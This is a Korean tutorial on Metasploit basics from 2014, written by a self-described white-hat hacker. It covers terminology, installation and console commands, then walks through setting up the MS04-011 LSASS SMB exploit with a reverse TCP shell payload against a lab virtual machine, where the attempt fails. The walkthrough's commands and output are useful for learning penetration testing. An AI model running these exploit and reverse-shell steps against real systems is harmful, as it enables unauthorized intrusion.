Metasploit 기본정리
○ 작성일 : 2014년 1월
Exploit
공격자에 의해 행해지는 방법으로 시스템이나 어플리케이션, 서비스 등의 결점을 이용하여 공격하는 개발자가 의도치 않았던 목적을 달성하는데 있다. 기본적으로 buffer overflow, web application 취약점분석, SQL Injection, 설정 에러 등의 공격을 들 수 있다.
Shell Code
공격이 행해질때 payload에 의해 사용되어지는 툴의 집합정도로 보면 된다. 어셈블리 언어로 만들어 지며 대부분 command shell이나 Meterpreter shell 같은 코드들이 타겟호스트에 의해 실행되어 진다.
Payload
소스코드로 시스템에 실행시켜서 원하는 결과를 얻을 수 있다. 예를 들어 reverse shell은 payload 중의 하나로 윈도우 시스템과 연결을 시켜주는 코드이고 bind shell은 타겟 호스트의 포트를 리스닝 모드로 만들어 공격자가 연결할 수 있게 해준다. payload는 타겟 호스트에 간단한 몇개의 command만으로도 구성이 가능하다.
Module
Metasploit Framework에 쓰여지는 작은 프로그램이라 보면 된다. exploit module이나 auxiliary module과 같은 형태로 사용되어지며 이러한 자그마한 툴들이 모여 Metasploit을 강력하게 만든다.
Listener
Metasploit에서 사용되어지는 컴포넌트로 연결을 기다리는 역할을 한다. 예를 들어 타겟 호스트가 공격에 노출되어졌을 시 공격자가 연결을 할 수 있도록 도와주는 컴포넌트이다.
참조링크
http://nihalmistry.blogspot.kr/2012/10/metasploit-beginner-what-is-exploit.html
http://amerika.tistory.com/entry/CEH-Chap-7-Metasploit-1-%EC%9A%A9%EC%96%B4%EC%A0%95%EB%A6%AC
Metasploit 구조

설치 플랫폼 우분투
설치하기
root@bt:/pentest/passwords/wordlists# apt-get install metasploit
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
metasploit
0 upgraded, 1 newly installed, 0 to remove and 26 not upgraded.
Need to get 153MB of archives.
After this operation, 0B of additional disk space will be used.
Get:1 http://32.repository.backtrack-linux.org/ revolution/testing metasploit 4.1-bt0 [153MB]
Fetched 153MB in 40s (3,747kB/s)
Selecting previously deselected package metasploit.
(Reading database ... 237825 files and directories currently installed.)
Unpacking metasploit (from .../metasploit_4.1-bt0_i386.deb) ...
/opt/framework/postgresql/scripts/ctl.sh : postgresql stopped
Removing any system startup links for /etc/init.d/framework-postgres ...
/etc/rc0.d/K30framework-postgres
/etc/rc1.d/K30framework-postgres
/etc/rc2.d/S80framework-postgres
/etc/rc3.d/S80framework-postgres
/etc/rc4.d/S80framework-postgres
/etc/rc5.d/S80framework-postgres
/etc/rc6.d/K30framework-postgres
Processing triggers for desktop-file-utils ...
Processing triggers for python-gmenu ...
Rebuilding /usr/share/applications/desktop.en_US.utf8.cache...
Processing triggers for ureadahead ...
Processing triggers for python-support ...
Setting up metasploit (4.1-bt0) ...
update-rc.d: warning: /etc/init.d/metasploit-postgres missing LSB information
update-rc.d: see < http://wiki.debian.org/LSBInitScripts>
Adding system startup for /etc/init.d/metasploit-postgres ...
/etc/rc0.d/K20metasploit-postgres -> ../init.d/metasploit-postgres
/etc/rc1.d/K20metasploit-postgres -> ../init.d/metasploit-postgres
/etc/rc6.d/K20metasploit-postgres -> ../init.d/metasploit-postgres
/etc/rc2.d/S20metasploit-postgres -> ../init.d/metasploit-postgres
/etc/rc3.d/S20metasploit-postgres -> ../init.d/metasploit-postgres
/etc/rc4.d/S20metasploit-postgres -> ../init.d/metasploit-postgres
/etc/rc5.d/S20metasploit-postgres -> ../init.d/metasploit-postgres
Stopping Metasploit Services...
metasploit is stopped
prosvc is stopped
nginx is stopped
/opt/metasploit/postgresql/scripts/ctl.sh : postgresql stopped
Starting postgresql...
LOG: database system was shut down at 2011-12-16 11:54:12 KST
LOG: database system is ready to accept connections
LOG: autovacuum launcher started
/opt/metasploit/postgresql/scripts/ctl.sh : postgresql started at port 7337
To start the Metasploit web interface, run the entry under Miscellaneous or /opt/metasploit/ctlscript.sh start
시작
콘솔과 GUI를 지원한다. 콘솔에 익숙한 나기에 콘솔로 실행
# ./msfconsole
######## #
################# #
###################### #
######################### #
############################
##############################
###############################
###############################
##############################
# ######## #
## ### #### ##
### ###
#### ###
#### ########## ####
####################### ####
#################### ####
################## ####
############ ##
######## ###
######### #####
############ ######
######## #########
##### ########
### #########
###### ############
#######################
# # ### # # ##
########################
## ## ## ##
=[ metasploit v4.1.1-release [core:4.1 api:1.0] //버전정보가 보인다.
+ -- --=[ 754 exploits - 394 auxiliary - 104 post // 이용가능한 모듈의 갯수가 보인다.
+ -- --=[ 228 payloads - 27 encoders - 8 nops
=[ svn r14092 updated 67 days ago (2011.10.27)
Warning: This copy of the Metasploit Framework was last updated 67 days ago. // 업데이트 하라네.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
https://community.rapid7.com/docs/DOC-1306
업데이트 하기
# cd /opt/framework-3.x.x/msf3/ # svn update |
연결되었으니 제일먼저 봐야할게....그렇다 help다
설명은 사용해 보면서 정리하도록 하겠다.
msf > help
Core Commands
=============
Command Description
------- -----------
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
exit Exit the console
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
quit Exit the console
reload_all Reloads all modules from all defined module paths
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sessions Dump session listings and display information about sessions
set Sets a variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers
Database Backend Commands
=========================
Command Description
------- -----------
creds List all credentials in the database
db_autopwn Automatically exploit everything
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_driver Specify a database driver
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
대부분의 명령어는 -h 옵션과 같이 쓸수는 있는데 해당명령의 help를 보여준다.
msf > hosts -h //hosts에 대한 사용법을 보여달라는 의미이다.
Usage: hosts [ options ] [addr1 addr2 ...]
OPTIONS:
-a,--add Add the hosts instead of searching
-d,--delete Delete the hosts instead of searching
-c <col1,col2> Only show the given columns (see list below)
-h,--help Show this help information
-u,--up Only show hosts which are up
-o <file> Send output to a file in csv format
-R,--rhosts Set RHOSTS from the results of the search
Available columns: address, address6, arch, comm, comments, created_at, info, mac, name, os_flavor, os_lang, os_name, os_sp, purpose, state, updated_at
대부분의 명령어 옵션들은 자체적으로 사용이 가능하나 보다 정밀한 옵션을 필요로 할때도 있다.
core command 중 다음의 중요한 명령어의 의미를 이해해보자.
■ irb Drop into irb scripting mode
이 옵션은 Metasploit 콘솔상에서 실제의 Ruby 스크립트를 실행하도록 한다. 따라서 프레임워크내에서
상호작용을 매우 증가시킨다. 또한 이 옵션은 스크립트를 디버깅하도록 보다 큰 추적능력을 제공한다.
This option allows you to run actual Ruby scripts
from within the Metasploit console,thus greatly increasing the ability to interact with the framework.This option also provides extensive tracing capability to help you debug your scripts.
■ jobs Displays and manages jobs.
MSF 3버전에 추가된 것 중의 하나로 msfconsole 인터페이스내에서 작업을 스케쥴하는 기능이다.
이 옵션은 또한 작업을 열거하거나 kill 할 수 있다.
One of the additions to MSF version 3 is the ability to schedule jobs from within the msfconsole interface.This command also allows listing and killing jobs.
■ loadpath Adds one or more module search paths.
비규격화된 디렉토리에 위치한 모듈을 사용할 수 있도록 한다.
Allows the user to use modules that may be located in non-standard directories
■ route Route traffic through a session.
누구의 ID가 지원된 세션을 통해 주어진 서브넷에 대한 트래픽을 경유(라우터)한다.
아래의 명령어로 확인 할 수 있다.(아직 무슨말인지 모르겠으나 패스)
Routes the traffic for a given subnet through
a session who’s ID is supplied.The syntax of the command is shown in Figure 1.7
msf > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local
Exploitation
프레임워크의 중요한 프로세스인 선택, 설정, 실행 그리고 expolit을 시작하도록 하자.
Let us now begin the core process of the framework--selecting,configuring,and executing
an exploit.
Exploit의 선택
MSF내에서 현재 이용가능한 exploit의 종류를 볼 수 있다.
This will list out all of the exploits that are currently available within the MSF.
msf > show exploits // 졸라 많이 나온다.
SecurityGateway username Buffer Overflow
windows/http/altn_webadmin 2003-06-24 average Alt-N WebAdmin USER Buffer Overflow
windows/http/amlibweb_webquerydll_app 2010-08-03 normal Amlibweb NetOpacs webquery.dll Stack Buffer Overflow
windows/http/apache_chunked 2002-06-19 good Apache Win32 Chunked Encoding
windows/http/apache_mod_rewrite_ldap 2006-07-28 great Apache module mod_rewrite LDAP protocol Buffer Overflow
windows/http/apache_modjk_overflow 2007-03-02 great Apache mod_jk 1.2.20 Buffer Overflow
windows/http/badblue_ext_overflow 2003-04-20 great BadBlue 2.5 EXT.dll Buffer Overflow
windows/http/badblue_passthru 2007-12-10 great BadBlue
....
예를 들어 nmap을 이용하여 TCP 445 포트를 발견하였다고 하면 TCP 445에 대한 Exploit 취약점 점검을 할 수 있다.
TCP 445
TCP상의 SMB 프로토콜로 사용되는 포트로 Windows 2000, XP, 2003에 이용된다.
SMB (Server Message Block) 프로토콜은 Windows NT/2000/XP에서 파일공유로 사용된다.
Windows NT에서는 NetBT(NetBIOS over TCP/IP)를 실행하여 UDP 137,138 그리고 TCP139를 이용한다. Windows 2000/XP/2003에서는 NetBT가 아닌 TCP/IP 상에 직접적으로 SMB를 실행하는 기능을 추가하였다.
# nmap -sS [Victim IP] -p445
이와 관련된 Exploit는 Microsoft LSASS MS04-011 Overflow exploit이다.
따라서 다음과 같이 입력을 한다.
msf > use windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > // 라우터명령처럼 명령콘솔이 바뀐다.
다시 help 명령어를 입력하면 아래와 같이 나온다.
msf exploit(ms04_011_lsass) > help
Exploit Commands
================
Command Description
------- -----------
check Check to see if a target is vulnerable
exploit Launch an exploit attempt
pry Open a Pry session on the current module
rcheck Reloads the module and checks if the target is vulnerable
reload Just reloads the module
rexploit Reloads the module and launches an exploit attempt
타겟(Victim)의 설정
다음과 같은 명령어를 입력을 하면 타겟설정에 대한 옵션이 나온다.
msf exploit(ms04_011_lsass) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targetting
1 Windows 2000 English
2 Windows XP English
자동으로 하도록 '0'을 선택한다.
msf exploit(ms04_011_lsass) > set target 0 // set target 명령어를 사용하였다.
target => 0
Payload의 선택
Payload가 뭐지? 사전적 의미는 탑승, 탑제이다. 즉 선택된 exploit(ms04_011_lsass)에서 사용가능한
놈을 올린다는 의미이다. 다음의 명령어를 보면 이해하기 쉬울것 같다.
msf exploit(ms04_011_lsass) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/custom normal Custom Payload
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
generic/tight_loop normal Generic x86 Tight Loop
windows/adduser normal Windows Execute net user /ADD
windows/dllinject/bind_ipv6_tcp normal Reflective Dll Injection, Bind TCP Stager (IPv6)
windows/dllinject/bind_nonx_tcp normal Reflective Dll Injection, Bind TCP Stager (No NX or Win7)
windows/dllinject/bind_tcp normal Reflective Dll Injection, Bind TCP Stager
windows/dllinject/reverse_http normal Reflective Dll Injection, Reverse HTTP Stager
windows/dllinject/reverse_ipv6_http normal Reflective Dll Injection, Reverse HTTP Stager (IPv6)
windows/dllinject/reverse_ipv6_tcp normal Reflective Dll Injection, Reverse TCP Stager (IPv6)
windows/dllinject/reverse_nonx_tcp normal Reflective Dll Injection, Reverse TCP Stager (No NX or Win7)
windows/dllinject/reverse_ord_tcp normal Reflective Dll Injection, Reverse Ordinal TCP Stager (No NX or Win7)
windows/dllinject/reverse_tcp normal Reflective Dll Injection, Reverse TCP Stager
windows/dllinject/reverse_tcp_allports normal Reflective Dll Injection, Reverse All-Port TCP Stager
windows/dllinject/reverse_tcp_dns normal Reflective Dll Injection, Reverse TCP Stager (DNS)
windows/download_exec normal Windows Executable Download and Execute
windows/exec normal Windows Execute Command
windows/loadlibrary normal Windows LoadLibrary Path
windows/messagebox normal Windows MessageBox
windows/meterpreter/bind_ipv6_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (IPv6)
windows/meterpreter/bind_nonx_tcp normal Windows Meterpreter
굉장히 많이 나온다.
해당되는 Payload에 대한 보다 상세한 정보는 info [payload_name]을 입력한다. 아래를 보라
msf exploit(ms04_011_lsass) > info windows/shell/reverse_tcp
Name: Windows Command Shell, Reverse TCP Stager
Module: payload/windows/shell/reverse_tcp
Version: 10394, 11421
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 290
Rank: Normal
Provided by:
spoonm < spoonm@no$email.com>
sf < stephen_fewer@harmonysecurity.com>
hdm < hdm@metasploit.com>
skape < mmiller@hick.org>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST yes The listen address
LPORT 4444 yes The listen port
Description:
Connect back to the attacker, Spawn a piped command shell (staged)
이제 실제로 payload를 적재해보자
msf exploit(ms04_011_lsass) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp //shell_reverse_tcp가 적재되었다.
Options의 선택
익스플로시, 타겟과 페이로드를 설정하였다. 이제 옵션을 선택할 차례이다.
다음의 명령으로 옵션을 볼 수 있다. 보다 자세한 옵션명령어는 'show advanced options' 이다.
msf exploit(ms04_011_lsass) > show options
Module options (exploit/windows/smb/ms04_011_lsass):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
Payload options (windows/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targetting
--------------------------------------------------------------------------------
msf exploit(ms04_011_lsass) > show advanced options
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
Name : ConnectTimeout
Current Setting: 10
Description : Maximum number of seconds to establish a TCP connection
Name : ContextInformationFile
Current Setting:
Description : The information file that contains context information
Name : DCERPC::ReadTimeout
Current Setting: 10
Description : The number of seconds to wait for DCERPC responses
Name : DisablePayloadHandler
Current Setting: false
Description : Disable the handler code for the selected payload
Name : EnableContextEncoding
Current Setting: false
Description : Use transient context when encoding payloads
Name : NTLM::SendLM
Current Setting: true
Description : Always send the LANMAN response (except when NTLMv2_session is
specified)
Name : NTLM::SendNTLM
Current Setting: true
Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
NTLM responses
Name : NTLM::SendSPN
Current Setting: true
Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
authentification on windows Seven/2008r2 when SPN is required
Name : NTLM::UseLMKey
Current Setting: false
Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
when the LM response is sent
Name : NTLM::UseNTLM2_session
Current Setting: true
Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
NTLMv2_session
Name : NTLM::UseNTLMv2
Current Setting: true
Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
is true
Name : Proxies
Current Setting:
Description : Use a proxy chain
Name : SMB::ChunkSize
Current Setting: 500
Description : The chunk size for SMB segments, bigger values will increase
speed but break NT 4.0 and SMB signing
Name : SMB::Native_LM
Current Setting: Windows 2000 5.0
Description : The Native LM to send during authentication
Name : SMB::Native_OS
Current Setting: Windows 2000 2195
Description : The Native OS to send during authentication
Name : SMB::VerifySignature
Current Setting: false
Description : Enforces client-side verification of server response signatures
Name : SMBDirect
Current Setting: true
Description : The target port is a raw SMB service (not NetBIOS)
Name : SMBDomain
Current Setting: .
Description : The Windows domain to use for authentication
Name : SMBName
Current Setting: *SMBSERVER
Description : The NetBIOS hostname (required for port 139 connections)
Name : SMBPass
Current Setting:
Description : The password for the specified username
Name : SMBUser
Current Setting:
Description : The username to authenticate as
Name : SSL
Current Setting: false
Description : Negotiate SSL for outgoing connections
Name : SSLVersion
Current Setting: SSL3
Description : Specify the version of SSL that should be used (accepted: SSL2,
SSL3, TLS1)
Name : VERBOSE
Current Setting: false
Description : Enable detailed status messages
Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module
Name : WfsDelay
Current Setting: 0
Description : Additional delay when waiting for a session
Payload advanced options (windows/shell_reverse_tcp):
Name : AutoRunScript
Current Setting:
Description : A script to run automatically on session creation.
Name : InitialAutoRunScript
Current Setting:
Description : An initial script to run on session creation (before
AutoRunScript)
Name : ReverseConnectRetries
Current Setting: 5
Description : The number of connection attempts to try before exiting the
process
Name : ReverseListenerBindAddress
Current Setting:
Description : The specific IP address to bind to on the local system
Name : ReverseListenerComm
Current Setting:
Description : The specific communication channel to use for this listener
Name : VERBOSE
Current Setting: false
Description : Enable detailed status messages
Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module
Module options (exploit/windows/smb/ms04_011_lsass):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
Payload options (windows/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targetting
기본옵션을 설명을 하면 다음과 같다.
공격대상자는 RHOST이고 공격하는 쪽은 LHOST이다.
Exploiting 실제공격 시도
옵션을 이해했으니 이제 실제로 옵션을 설정해보자. 다음과 같이 입력을 한다.
msf exploit(ms04_011_lsass) > set RHOST 192.168.0.1
RHOST => 192.168.203.26
msf exploit(ms04_011_lsass) > set LHOST 192.168.0.2
LHOST => 192.168.203.48
msf exploit(ms04_011_lsass) > exploit
[*] Started reverse handler on 192.168.0.2:4444
[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.0.1[\lsarpc]...
[-] Exploit exception: The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
[*] Exploit completed, but no session was created.
가상머신으로 테스트 해보았으나 XP SP3가 설치되서 그런지 해킹되지는 않았다.
만일 해킹된다면 아래의 그림처럼 나올 것이다.
Meterpreter,VNC DLL Inject,그리고 PassiveX payloads를 포함한 payload옵
션은 흥미로운 옵션이다. 나중에 보도록 하자.
션은 흥미로운 옵션이다. 나중에 보도록 하자.
※ 주의
BT5r3에 설치된 Metasploit를 msfupdate로 업데이트 한 후 에러가 많이 발생이 된다.
미련없이 전부 지우고 최신 버전을 유지하도록 한다.
http://www.rapid7.com/products/metasploit/download-thank-you.jsp 에서 최신 릴리즈된 버전이 있으니 설치하면 된다.
설치과정 그림은 아래와 같다.
서비스포트가 별도 존재하며 SSL 인증생성 뭐 고딴게 보인다.
참조링크
http://wiki.backbox.org/index.php/Metasploit#Database_installation
http://www.metasploit.com/
http://www.rapid7.com/products/metasploit/download-thank-you.jsp
WRITTEN BY
- EnIaC
WhiteHackerGroup 『LockDown』 EnIaC 입니다.
,